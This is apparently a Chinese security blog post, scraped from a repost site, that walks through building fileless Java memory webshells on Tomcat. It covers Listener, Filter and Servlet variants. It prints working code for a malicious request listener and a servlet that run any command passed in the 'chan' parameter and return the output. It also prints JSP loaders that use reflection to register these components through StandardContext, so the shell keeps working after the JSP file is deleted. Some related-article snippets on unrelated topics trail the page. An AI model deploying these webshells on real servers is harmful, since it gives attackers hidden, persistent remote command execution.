当前位置: 首页 > news >正文

JAVA安全—手搓内存马

前言

最近在学这个内存马,就做一个记录,说实话这个内存马还是有点难度的。

什么是内存马

首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。

内存马的分类

传统的内存马主要分为三类,分别是Servlet型、Filter型、Listener型。我们主要讲的就这三种,其它的也有,但是我不会,哈哈哈。

JAVA Web访问流程

首先我们要了解一下JAVA Web的访问流程,这是我网上找的一张图,哈哈哈。正常我们认为的客户端去请求一个1.jsp文件,然后服务端就直接返回1.jsp,在PHP中也许是这样子,但是在JAVA中其实不是这样的。

1、我们去请求一个1.jsp

2、经过Listener组件,如果存在的话

3、经过Filter组件,如果存在的话

4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由

最后就是去访问1.jsp这文件。

从上面我们得知,Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理 HTTP 请求并生成动态响应。

Listener内存马

接下来手搓一个内存马,这里先创建一个项目,就叫ListenerShell。

我这里选择Java8,选个web服务,点击创建即可。

创建一个类叫Test。

在Web.xml这里配置一个Listener监听器,指向我们的Test文件。

Test里面写入以下的代码,看不懂没关系,就是当你发起请求的时候,Servlet就会被激活,那么此时我们就创建了一个Listener 并输出  requestInitialized ,当请求结束的时候也就会输出requestDestroyed。

public class Test implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}

出现这个页面就说明我们运行成功了。

可以看到只要我们一访问运行起来的网址,就会输出上面我们所说的结果,说明我们的请求是经过Listener,最终到达Servlet。

如果我们把输出语句改为命令执行语句,不就实现了一个webshell的功能了吗?我们在原来的输出语句下面添加一个打开计算机的命令。

可以看到只要我一访问那么就会弹出计算机来。

那么实际上,Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存同时生效

为了搞清楚 listener 是咋把我们创建的类加载到内存中的,我们在下面这个地方下断点进行调试。

选择调试运行,可以看到项目一启动就已经端下来了,我都还没访问网页呢,也就是说先执行  requestInitialized 再去请求网站。

步入我们可以看到这里listener的值为Test,但是Test是怎么来的,我们继续往下分析。

继续步入可以看到 这个 applicationListener  的值为 com.sf.maven.listenershell.Test,说明这时候Listener监听器就已经知道要指向 Test了,同时可以知道 applicationListener 是来源于 CopyOnWriteArrayList。

而 CopyOnWriteArrayList 上级是来源于 context ,这里 context来源于 StandardContext 这个类里面。

这个类是比较关键的,我们可以来看一下它的功能

1、Servlet 和 Filter 管理:StandardContext 负责管理应用程序中的 Servlet 和 Filter 的生命周期。可以添加、移除和配置 Servlet 和 Filter。

2、会话管理:提供会话管理功能,包括会话的创建、销毁和持久化。配置会话超时时间和其他会话相关属性。

3、资源管理:管理应用程序的资源,如 JAR 文件、静态文件等。支持对资源的访问控制和缓存。4、事件监听器:支持注册各种事件监听器,如 ServletContextListener、ServletRequestListener 等。监听并处理应用程序的生命周期事件和请求事件。

5、安全性和认证:提供安全配置选项,包括用户认证、角色授权和安全约束。支持多种认证方式,如基本认证、表单认证等。

6、部署和配置:从 web.xml 或注解中读取和应用配置。支持热部署和自动重新加载。
7、日志记录:提供日志记录功能,方便调试和监控。

重点看第一点和第四点,StandardContext这个类可以注册Servlet、Filter以及各种Listener!!!

而且在StandardContext类里面可以看到一个 addApplicationEventListener 方法,实际上我们上面的Test监听器,就是通过这个方法添加的。

那么接下来我们来要做的就是如何获取StandardContext 这个类的context,直接从网上找的获取代码。

通过request方式获取

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
%>

通过ServletContext方式获取

<%
//创建ServletContext 为了获取访问的信息的context
ServletContext servletContext = request.getServletContext();//反射调用ApplicationContext#context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//反射调用StandardContext#context
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
TestLIstener testLIstener = new TestLIstener();
standardContext.addApplicationEventListener(testLIstener);
%>

通过ContextClassLoader方式获取

<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

到这里估计大家也明白是如何手搓的了,就是定义一个恶意的Listener,再通过StandardContext把监听器注册到内存中去。

下面我就来演示一下,新建一个JSP文件。

这是网上找的恶意Listener,也就是内存马,写入到test1.JSP。

<%//定义了一个恶意的Listenerclass WLWListener implements ServletRequestListener{@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {try{RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();Field field = requestfacade.getClass().getDeclaredField("request");field.setAccessible(true);Request lrequest = (Request) field.get(requestfacade);Response lresponse = lrequest.getResponse();if(lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}}catch(Exception ig){ig.printStackTrace();}}}
%>

这里就是加载代码,去注册我们上面定义好的Listener,同样是去写入到test1.JSP。

<%//通过获取StandardContext类中的context,注册一个新的ListenerField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();WLWListener wlwListener = new WLWListener();context.addApplicationEventListener(wlwListener);
%>

现在运行项目,访问我们的test1.jsp,可以看到是空白的,但是内存马已经植入成功。

然后执行命令calc,成功弹出计算机!!!

此时我们把内存马删除掉。

可以看到此时是访问不到我们的test1.jsp的。

但是依旧能执行命令,只需重启一下就执行不了命令了。

Filter内存马

同样新建一个项目,流程是和上面一样的,这里我就不多说了,新建一个Test类,写入以下代码。

package com.sf.maven.filtershell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class Test implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("init");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {System.out.println("doFilter");}@Overridepublic void destroy() {System.out.println("destroy");}
}

Web.xml配置如下,运行的时候就会加载这个Test过滤器。

#Filter 过滤器实现:
-web.xml定义name和class

-web.xml定义name和url路由

-编写class下init,doFilter,destroy方法

<filter><filter-name>Test</filter-name><filter-class>com.sf.maven.filtershell.Test</filter-class></filter><filter-mapping><filter-name>Test</filter-name><url-pattern>Test</url-pattern></filter-mapping>

可以看到项目运行起来就输出init,说明init方法被执行了。

有人可能就注意到了,为啥 doFilter 和 destroy方法没有被执行呢,其实是这样的当我们访问 /Test这个路由,我们才会触发这个 filter-name ,而filter-name又绑定了 com.sf.maven.filtershell.Test 这个类。

浏览器访问 /Test。

触发了doFilter。

最后一个 destroy 就是当我们项目结束就会执行。

此时我们来梳理一下流程:

程序运行自动执行init

Servlet获取访问 URL,从 URL 中判断是否匹配路由,如果匹配就执行doFilter

如触发过滤分析 Filter 名称,路由,触发 Class,

则会相应的去执行 init,doFilter,destroy 方法。

结论:触发路由后执行 doFilter,不触发路由也会执行init

断点调试前我们先修改一下路由,改为 /* 意思是只要一访问网站就会触发doFilter。

doFilter这里设置断点调试,为的就是搞清楚下面两件事情:

1、filter是如何把我们创建的类加载到内存中的

2、我们如何通过java代码把我们自定义的filter类加载到内存中

我们上面在分析listener的时候,只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的,这就是filter内存马和listener内存马编写的区别。

看这里,filterMaps获取了filterName的值为Test,还有urlPattern的值为 /* ,filterDefs获取了filterClass的值,filterConfigs获取name的值。

也就是说 filterMaps 存放了filter别名和路由,filterDefs 存放了filter类指向和filter别名,filterConfigs 存放了一些配置信息。

filterMaps ,filterDefs,filterConfigs这三个的上级调用是context,context是来自StandardContext这个类。

简单总结一下:

 ApplicationFilterConfig用来存储Filter配置信息

StandardContext用来处理 Filter配置信息(有无操作)

而filter创建需要filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例

对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName 这里实际上还要传入我们创建的filter实例,这是通过setfilter传入,我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中,然后在filterconfig中有StandardContext#context和filterDef,我们也要添加最后获取filterconfigs,把filterconfig写入,大致的思路就是这样。

那么我们手搓内存马的流程就是:

1、创建filter对象

2、获取StandardContext#context

3、配置filterDef并添加

4、配置filterMap并添加

5、反射创建FilterConfig,传入standardContext与filterDef

6、获取filterConfigs,并且转换成map类型

7、把filter名和配置好的filterConfig传入filterConfings

还是一样新建一个1.jsp,写入以下代码获取所需要的字段,context、filterConfig。

这一部分的代码就是创建一个新的Filter,和上面的Test类一样的,不多讲。

这一部分代码就是配置上诉我们说的东西,名称、Class、url路由。

把Filter注册到内存。

成功弹出计算机,这里要注意执行命令的路径要加上你都路由才行。

Servlet内存马

剩下最后一个了,坚持下去。

老规矩新建一个项目,和上面一模一样,创建一个Test类,写入下面的代码。

package com.sf.maven.servletshell;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Test extends HttpServlet {@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {super.service(req,res);System.out.println("service");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doPut");}@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doGet");       }@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("dopost");}
}

Web.xml文件配置如下,其实和 Filter 差不多,也都是配置路由,Class。

运行起来后我们随便访问都行,显示405状态。

但是输出了doGet,说明我们调用了doGet这个方法,这里我也不卖关子了,你用post方法去请求URL那么就会调用doPost,输出doPost,doPut方法也是如此。

Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

这里我就不一步一步跟踪了,直接说流程吧:

  1. 创建servlet

  2. 获取StandardContext#context

  3. 创建wrapper并写入servlet信息

  4. 添加wrapper并添加路由信息

创建一个1.jsp,和上面的Test差不多,只是这里service不是输出了,而是创建一个新的Servlet。

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;if (lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}else{lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);}}

这部分和Filter的差不多,都是为了获取StandardContext#context。

这里就是创建wrapper并写入servlet信息,添加wrapper并添加路由信息。

先访问1.jsp注册新的Servlet,在到相对应的路由下面执行命令即可。

总结

至此结束

相关文章:

JAVA安全—手搓内存马

前言 最近在学这个内存马&#xff0c;就做一个记录&#xff0c;说实话这个内存马还是有点难度的。 什么是内存马 首先什么是内存马呢&#xff0c;顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了&#xff0c;而Java内存马则不同&#xff0c;它将恶…...

【神经网络】python实现神经网络(一)——数据集获取

一.概述 在文章【机器学习】一个例子带你了解神经网络是什么中&#xff0c;我们大致了解神经网络的正向信息传导、反向传导以及学习过程的大致流程&#xff0c;现在我们正式开始进行代码的实现&#xff0c;首先我们来实现第一步的运算过程模拟讲解&#xff1a;正向传导。本次代…...

历年湖南大学计算机复试上机真题

历年湖南大学计算机复试机试真题 在线评测&#xff1a;https://app2098.acapp.acwing.com.cn/ 杨辉三角形 题目描述 提到杨辉三角形。 大家应该都很熟悉。 这是我国宋朝数学家杨辉在公元 1261 年著书《详解九章算法》提出的。 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 …...

[LeetCode]day33 150.逆波兰式求表达值 + 239.滑动窗口最大值

逆波兰式求表达值 题目链接 题目描述 给你一个字符串数组 tokens &#xff0c;表示一个根据 逆波兰表示法 表示的算术表达式。 请你计算该表达式。返回一个表示表达式值的整数。 注意&#xff1a; 有效的算符为 ‘’、‘-’、‘*’ 和 ‘/’ 。 每个操作数&#xff08;运…...

【银河麒麟高级服务器操作系统实际案例分享】数据库资源重启现象分析及处理全过程

更多银河麒麟操作系统产品及技术讨论&#xff0c;欢迎加入银河麒麟操作系统官方论坛 https://forum.kylinos.cn 了解更多银河麒麟操作系统全新产品&#xff0c;请点击访问 麒麟软件产品专区&#xff1a;https://product.kylinos.cn 开发者专区&#xff1a;https://developer…...

C#中泛型的协变和逆变

协变&#xff1a; 在泛型接口中&#xff0c;使用out关键字可以声明协变。这意味着接口的泛型参数只能作为返回类型出现&#xff0c;而不能作为方法的参数类型。 示例&#xff1a;泛型接口中的协变 假设我们有一个基类Animal和一个派生类Dog&#xff1a; csharp复制 public…...

【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-附录B-严格模式

附录B、严格模式 严格模式 ECMAScript 5 首次引入严格模式的概念。严格模式用于选择以更严格的条件检查 JavaScript 代码错误&#xff0c;可以应用到全局&#xff0c;也可以应用到函数内部。严格模式的好处是可以提早发现错误&#xff0c;因此可以捕获某些 ECMAScript 问题导致…...

跨平台 C++ 程序崩溃调试与 Dump 文件分析

前言 C 程序在运行时可能会由于 空指针访问、数组越界、非法内存访问、栈溢出 等原因崩溃。为了分析崩溃原因&#xff0c;我们通常会生成 Dump 文件&#xff08;Windows 的 .dmp&#xff0c;Linux 的 core&#xff0c;macOS 的 .crash&#xff09;&#xff0c;然后用调试工具分…...

缺陷VS质量:为何软件缺陷是质量属性的致命对立面?

为何说缺陷是质量的对立面&#xff1f; 核心逻辑&#xff1a;软件质量的定义是“满足用户需求的程度”&#xff0c;而缺陷会直接破坏这种满足关系。 对立性&#xff1a;缺陷的存在意味着软件偏离了预期行为&#xff08;如功能错误、性能不足、安全性漏洞等&#xff09;&#…...

伍[5],伺服电机,电流环,速度环,位置环

电流环、速度环和位置环是电机控制系统中常见的三个闭环控制环节,通常采用嵌套结构(内环→外环:电流环→速度环→位置环),各自负责不同层级的控制目标。以下是它们的详细说明及相互关系: 1. 电流环(最内环) 作用:控制电机的电流,间接控制输出转矩(τ=Kt⋅Iτ=Kt​⋅…...

RuntimeError: CUDA error: device-side assert triggered

RuntimeError: CUDA error: device-side assert triggered 欢迎来到英杰社区&#xff0c;这里是博主英杰https://bbs.csdn.net/topics/617804998 原因&#xff1a; cuda运行可能是异步的&#xff08;asynchronously&#xff09;&#xff0c;因此报错信息中提示的位置可能不准确…...

清华大学Deepseek第六版AIGC发展研究3.0(共186页,附PDF下载)

人工智能生成内容&#xff08;AIGC&#xff09;正以前所未有的速度改变我们的生活。 2024年底&#xff0c;清华大学新闻与传播学院与人工智能学院联合发布了《AIGC发展研究3.0版》&#xff0c;这份报告系统梳理了AIGC技术的突破性进展、应用场景及社会影响&#xff0c;并展望了…...

SpringBoot生成唯一ID的方式

1.为什么要生成唯一ID&#xff1f; 数据唯一性&#xff1a;每个记录都需要有一个独一无二的标识符来确保数据的唯一性。这可以避免重复的数据行&#xff0c;并有助于准确地查询、更新或删除特定的记录。 数据完整性&#xff1a;通过使用唯一ID&#xff0c;可以保证数据库中的数…...

通俗易懂的分类算法之K近邻详解

通俗易懂的分类算法之K近邻详解 用最通俗的语言和例子&#xff0c;来彻底理解 K近邻&#xff08;K-Nearest Neighbors&#xff0c;简称 KNN&#xff09; 这个分类算法。不用担心复杂的数学公式&#xff0c;我会用生活中的例子来解释&#xff0c;保证你一听就懂&#xff01; 1.…...

CSDN markdown 操作指令等

CSDN markdown 操作指令等 页内跳转 [内容](#1) <div id"1"> </div>...

【linux】文件与目录命令 - uniq

文章目录 1. 基本用法2. 常用参数3. 用法举例4. 注意事项 uniq 命令用于过滤文本文件中相邻的重复行&#xff0c;并支持统计重复次数或仅保留唯一行。它通常与 sort 命令配合使用&#xff0c;因为 uniq 只识别相邻的重复行。 1. 基本用法 语法&#xff1a; uniq [选项] [输入…...

零信任沙箱:为网络安全筑牢“隔离墙”

在数字化浪潮汹涌澎湃的今天&#xff0c;网络安全如同一艘船在波涛汹涌的大海中航行&#xff0c;面临着重重挑战。数据泄露、恶意软件攻击、网络钓鱼等安全威胁层出不穷&#xff0c;让企业和个人用户防不胜防。而零信任沙箱&#xff0c;就像是一座坚固的“隔离墙”&#xff0c;…...

【金融量化】Ptrade中交易环境支持的业务类型

1. 普通股票买卖 • 特点&#xff1a; 普通股票买卖是最基础的交易形式&#xff0c;投资者通过买入和卖出上市公司的股票来获取收益。 ◦ 流动性高&#xff1a;股票市场交易活跃&#xff0c;买卖方便。 ◦ 收益来源多样&#xff1a;包括股价上涨的资本利得和公司分红。 ◦ 风险…...

【Java---数据结构】链表 LinkedList

1. 链表的概念 链表用于存储一系列元素&#xff0c;由一系列节点组成&#xff0c;每个节点包含两部分&#xff1a;数据域和指针域。 数据域&#xff1a;用于存储数据元素 指针域&#xff1a;用于指向下一个节点的地址&#xff0c;通过指针将各个节点连接在一起&#xff0c;形…...

紧跟 Web3 热潮,RuleOS 如何成为行业新宠?

Web3 热潮正以汹涌之势席卷全球。从金融领域的创新应用到供应链管理的变革&#xff0c;从社交媒体的去中心化尝试到游戏产业的全新玩法探索&#xff0c;Web3 凭借其去中心化、安全性和用户赋权等特性&#xff0c;为各个行业带来了前所未有的机遇。在这股热潮中&#xff0c;Rule…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

简易版抽奖活动的设计技术方案

1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

AI编程--插件对比分析:CodeRider、GitHub Copilot及其他

AI编程插件对比分析&#xff1a;CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展&#xff0c;AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者&#xff0c;分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...

【Linux】自动化构建-Make/Makefile

前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具&#xff1a;make/makfile 1.背景 在一个工程中源文件不计其数&#xff0c;其按类型、功能、模块分别放在若干个目录中&#xff0c;mak…...

Chrome 浏览器前端与客户端双向通信实战

Chrome 前端&#xff08;即页面 JS / Web UI&#xff09;与客户端&#xff08;C 后端&#xff09;的交互机制&#xff0c;是 Chromium 架构中非常核心的一环。下面我将按常见场景&#xff0c;从通道、流程、技术栈几个角度做一套完整的分析&#xff0c;特别适合你这种在分析和改…...

客户案例 | 短视频点播企业海外视频加速与成本优化:MediaPackage+Cloudfront 技术重构实践

01技术背景与业务挑战 某短视频点播企业深耕国内用户市场&#xff0c;但其后台应用系统部署于东南亚印尼 IDC 机房。 随着业务规模扩大&#xff0c;传统架构已较难满足当前企业发展的需求&#xff0c;企业面临着三重挑战&#xff1a; ① 业务&#xff1a;国内用户访问海外服…...